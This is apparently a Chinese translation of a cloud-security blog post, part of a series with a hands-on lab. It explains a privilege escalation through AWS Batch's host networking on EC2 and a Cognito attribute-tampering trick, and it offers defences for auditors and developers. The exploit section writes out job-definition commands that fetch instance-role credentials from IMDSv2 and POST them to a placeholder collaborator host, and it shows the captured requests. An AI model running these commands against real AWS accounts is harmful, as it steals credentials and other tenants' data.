利用AWS Batch实现权限提升的技术解析

本文详细分析了AWS Batch服务在EC2计算环境中因默认主机网络模式导致的权限提升漏洞,探讨了攻击者如何利用作业定义和提交权限获取高权限IAM角色凭证,并提供了相应的防护建议和实践实验室。

从前一集说起……你解决了CloudSecTidbit第2集的IaC实验室吗?

解决方案

AWS Cognito CloudSecTidbit的挑战基本上是将权限提升至管理员并读取内部用户列表。应用程序使用AWS Cognito发布会话令牌,保存为名为aws-cognito-app-access-token的cookie。JWT是有效的AWS Cognito用户令牌,可用于与服务交互。

可以使用以下命令检索当前用户属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
aws cognito-idp get-user --region us-east-1 --access-token <USER_ACCESS_TOKEN>
{
    "Username": "francesco",
    "UserAttributes": [
        {
            "Name": "sub",
            "Value": "5139e6e7-7a37-4e6e-9304-8c32973e4ac0"
        },
        {
            "Name": "email_verified",
            "Value": "true"
        },
        {
            "Name": "name",
            "Value": "francesco"
        },
        {
            "Name": "custom:Role",
            "Value": "user"
        },
        {
            "Name": "email",
            "Value": "dummy@doyensec.com"
        }
    ]
}

然后,由于用户属性上默认的读/写权限,攻击者能够篡改custom:Role属性并将其设置为admin

1
aws --region us-east-1 cognito-idp update-user-attributes --user-attributes "Name=custom:Role,Value=admin" --access-token <USER_ACCESS_TOKEN>

之后,通过刷新已认证的标签页,用户现在被识别为管理员。

这是因为易受攻击的平台信任custom:Role属性来评估用户的授权级别。

Tidbit第3集 - 利用AWS Batch进行权限提升

问:什么是AWS Batch?

  • 一组批处理管理功能,使开发人员、科学家和工程师能够轻松高效地在AWS上运行数十万个批处理计算作业。
  • AWS Batch根据提交的批处理作业的数量和特定资源需求,动态配置最优数量和类型的计算资源(例如CPU或内存优化计算资源)。
  • 使用AWS Batch,无需安装和管理批处理计算软件或服务器集群,让您可以专注于分析结果和解决问题。
  • AWS Batch使用Amazon EC2(可用Spot实例)和带有AWS Fargate或Fargate Spot的AWS计算资源来计划、调度和执行批处理计算工作负载。

总结以上几点,它是一个自管理和自扩展的任务调度器。

其主要组件包括:

  • 作业:工作单元,可以是提交到AWS Batch的shell脚本、可执行文件或容器镜像。
  • 作业定义:任务的蓝图。可以授予它们IAM角色以访问AWS资源,设置其内存和CPU需求,甚至控制容器属性,如环境变量或持久存储的挂载点。
  • 作业队列:提交的作业在队列中堆叠,直到被调度到计算环境中。作业队列可以与多个计算环境关联,并配置不同的优先级值。
  • 计算环境:可用于运行作业的托管或非托管计算资源集合。使用托管计算环境,您可以选择所需的计算类型(Fargate、EC2和EKS)并深度配置其资源。AWS Batch根据需要启动、管理和终止计算类型。您也可以管理自己的计算环境,但您负责设置和扩展AWS Batch为您创建的Amazon ECS集群中的实例。

下图(取自AWS文档)显示了服务的工作流程。

在初步了解AWS Batch基础后,我们可以介绍托管计算环境类型中的核心差异。

托管计算环境中的编排类型

Fargate AWS Batch作业可以在AWS Fargate资源上运行。AWS Fargate使用Amazon ECS运行容器并协调其生命周期。此配置适用于不需要控制运行容器任务的主机机器的情况。所有逻辑都嵌入在任务中,无需从主机机器添加上下文。

EC2 AWS Batch作业可以在Amazon EC2实例上运行。它允许特定的实例配置,如:

  • vCPU、内存和/或GPU的设置
  • 带有启动模板的自定义Amazon Machine Image(AMI)
  • 自定义环境参数

此配置适用于需要自定义和控制容器主机环境的场景。例如,您可能需要挂载弹性文件系统(EFS)并与运行中的作业共享一些文件夹。

EKS AWS Batch不创建、管理或执行EKS集群的生命周期操作。AWS Batch编排扩展由AWS Batch管理的节点并在这些节点上运行pod。逻辑条件与ECS情况类似。

使用两个元数据服务和两个角色运行任务 - 不必要的角色暴露案例

在测试多租户平台时,我们设法利用AWS Batch破坏云环境并执行权限提升。单个租户使用AWS Batch执行一些计算工作,给定某些要处理的输入(租户数据)。所有租户的任务作业都使用EC2编排类型初始化和执行,因此,所有批处理容器都运行相同的任务运行器EC2实例。

下图从高层次描述了观察到的场景。

租户数据(输入)在执行前通过弹性文件系统(EFS)挂载到EC2 Spot实例上。如设计图所示,特定的租户输入数据通过精确的共享文件夹共享给批处理作业容器。这看起来像是一个安全且隔离良好的环境,但事实并非如此。

为了说明最终的利用,必须解释一些关于易受攻击上下文的IAM概念:

  • 在所描述的设计中,计算环境EC2 Spot实例需要一个具有高权限的特定角色来管理多个服务,包括用于挂载客户数据的EFS。
  • 任务容器(批处理作业)具有一个执行角色,具有batch:RegisterJobDefinitionbatch:SubmitJob权限。

测试阶段

在测试期间,我们显然尝试在作业上执行代码以获取一些内部AWS凭证。由于实例元数据服务(IMDS v2)在运行容器中受到网络限制,无法通过访问169.254.169.254(IMDS IP)轻松获胜。然而,在ECS和EKS中运行的容器有容器元数据服务(CMDS)运行并可访问169.254.170.2(你知道吗?)。它实际上是IMDS服务的翻版,但用于AWS中的容器和pod。

借助它,我们能够收集有关运行任务的信息。通过查看AWS文档,您可以了解有关暴露给运行容器的许多环境变量的更多信息。其中,有AWS_CONTAINER_CREDENTIALS_RELATIVE_URI。实际上,CMDS通过设置保存为环境变量的动态凭证端点来保护用户免受SSRF交互。通过这样做,基本的SSRF无法找出其中的伪随机部分并检索凭证。

下图显示了与CMDS交互以从运行容器(我们的执行上下文)获取凭证。

此时,我们有了运行作业拥有的ecs-role的凭证。在ECS相关的执行权限中,它具有AWS Batch服务的RegisterJobDefinitionSubmitJobDescribeJobQueues权限。由于基本威胁模型假设用户在运行容器上具有命令执行,对作业定义的某种程度控制不是问题。因此,在用户控制的上下文中暴露RegisterJobDefinitionSubmitJob权限最初不被视为漏洞。

所以,下一个问题很明显:

转折点

经过数小时的搜索和代码审查,我们设法发现了两个额外的细节:

  • 在带有EC2计算环境的AWS Batch中,作业容器以主机网络配置运行。这意味着批处理作业容器直接使用主机EC2 Spot实例的网络。
  • 平台在工作者启动任务时限制作业容器上的IMDS连接性。

由于这些条件,如果批处理作业在没有工作者应用的限制的情况下启动,它可以代表主机EC2 Spot实例调用IMDSv2服务,可能导致权限提升:

  • 拥有泄露的批处理作业凭证的攻击者可以使用RegisterJobDefinitionSubmitJob来定义和执行恶意的AWS Batch作业。
  • 恶意作业能够代表主机EC2 Spot实例与IMDS服务对话,因为对IMDS的网络限制未应用。
  • 通过这种方式,可以获取EC2 Spot实例拥有的IAM角色的凭证。

计算环境EC2 Spot实例需要一个具有高权限的特定角色来管理多个服务,包括用于挂载客户数据的EFS等。

权限提升利用

利用阶段需要两个作业定义来与IMDSv2交互,一个用于获取实例IAM角色名称,另一个用于检索泄露角色名称的IAM安全凭证。

作业定义1 - 获取主机EC2 Spot实例角色名称

1
2
3
$ aws batch register-job-definition --job-definition-name poc-get-rolename --type container --container-properties '{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'

定义作业定义后,使用新创建的作业定义提交新作业:

1
aws batch submit-job --job-name attacker-jb-getrolename --job-queue LowPriorityEc2 --job-definition poc-get-rolename --scheduling-priority-override 999 --share-identifier asd

注意:作业队列名称可通过aws batch describe-job-queues检索。

攻击者协作服务器收到类似以下内容:

1
2
3
4
5
6
7
8
POST /exfil HTTP/1.1
Host: fo78ichlaqnfn01sju2ck6ixwo2fqaez.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: */*
Content-Length: 44
Content-Type: application/x-www-form-urlencoded

iam-instance-role-20230322003148155300000001

作业定义2 - 获取主机EC2 Spot实例角色的凭证

1
2
3
$ aws batch register-job-definition --job-definition-name poc-get-aimcreds --type container --container-properties '{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ROLE_NAME > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'

与之前的定义类似,通过提交作业,协作器收到输出。

1
2
3
4
5
6
7
8
POST /exfil HTTP/1.1
Host: 4otxi1haafn4np1hjj21kvimwd24qyen.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: */*
Content-Length: 1430
Content-Type: application/x-www-form-urlencoded

{"RoleArn":"arn:aws:iam::1235122316123:role/ecs-role","AccessKeyId":"<redacted>","SecretAccessKey":"<redacted>","Token":"<redacted>","Expiration":"2023-03-22T06:54:42Z"}

这次它包含了主机EC2 Spot实例角色的AWS凭证。权限提升实现!获得的角色允许我们访问其他租户的数据并做更多事情。

AWS Batch与EC2编排中的默认主机网络模式

在带有EC2计算环境的AWS Batch中,容器以桥接网络模式运行。在这种配置下,容器(批处理作业)可以访问EC2 IMDS和CMDS。问题在于容器作业能够代表EC2 Spot实例与IMDSv2服务对话,因为它们共享相同的网络接口。

总之,了解这种行为并在设计云环境时避免引入权限提升模式非常重要。

对于云安全审计员

当平台使用带有EC2编排的AWS Batch计算环境时,回答以下问题:

  • 始终考虑AWS Batch作业的安全性及其可能被破坏的情况。威胁行为者可能垂直/横向扩展并获得对云基础设施的更多访问权限。
  • 外部用户可控制作业执行的哪些方面?
  • 平台是否意图在作业内部执行命令?
    • 如果是,调查通过CMDS可用的权限。
    • 如果否,尝试在作业上下文中实现命令执行。
  • IMDS是否从作业执行上下文中受到限制?
  • 平台中使用了哪些类型的计算环境?
    • 是否有任何配置了EC2编排的计算环境?
      • 如果是,分配给EC2 Spot实例的角色是什么?

注意:本博客文章中描述的危险行为也适用于涉及具有EC2启动类型的弹性容器服务(ECS)任务的配置。

对于开发人员

开发人员应意识到,带有EC2计算环境的AWS Batch将以主机网络配置运行容器。因此,执行的容器(批处理作业)可以访问任务角色的CMDS和主机EC2 Spot实例角色的IMDS。为了防止权限提升模式,作业运行必须匹配以下配置:

  • 在运行作业中在网络级别限制IMDS。阅读此处的文档。
  • 限制批处理作业执行角色和作业角色IAM权限。特别是,避免在作业相关或可访问的策略中分配RegisterJobDefinitionSubmitJob权限,以防止攻击者在作业上下文中不受控制地执行。

如果两种配置在您的设计中都不适用,请考虑更改编排类型。

注意:再次强调,本博客文章中描述的危险行为也适用于涉及具有EC2启动类型的弹性容器服务(ECS)任务的配置。

动手IaC实验室

正如系列介绍中承诺的,我们开发了一个Terraform(IaC)实验室来部署易受攻击的虚拟应用程序并玩转漏洞:https://github.com/doyensec/cloudsec-tidbits/

敬请期待下一集!

资源

其他相关帖子:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计